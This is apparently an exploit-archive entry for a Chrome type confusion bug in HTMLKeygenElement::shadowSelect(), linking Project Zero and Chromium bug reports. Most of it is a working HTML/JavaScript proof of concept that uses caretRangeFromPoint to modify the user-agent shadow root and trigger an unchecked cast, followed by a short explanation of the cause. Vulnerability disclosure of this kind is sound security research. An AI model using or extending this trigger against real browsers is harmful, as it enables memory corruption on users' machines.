Google Chrome – ‘HTMLKeygenElement::shadowSelect()’ Type Confusion
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=994 Chrome bug: https://bugs.chromium.org/p/chromium/issues/detail?id=666246 PoC: --> <keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;"> <script> var range = document.caretRangeFromPoint(50, 50); var shadow_tree_container = range.commonAncestorContainer; shadow_tree_container.prepend("foo"); keygen_element.disabled = true; </script> <!-- What happens here: 1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript 2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type. --> |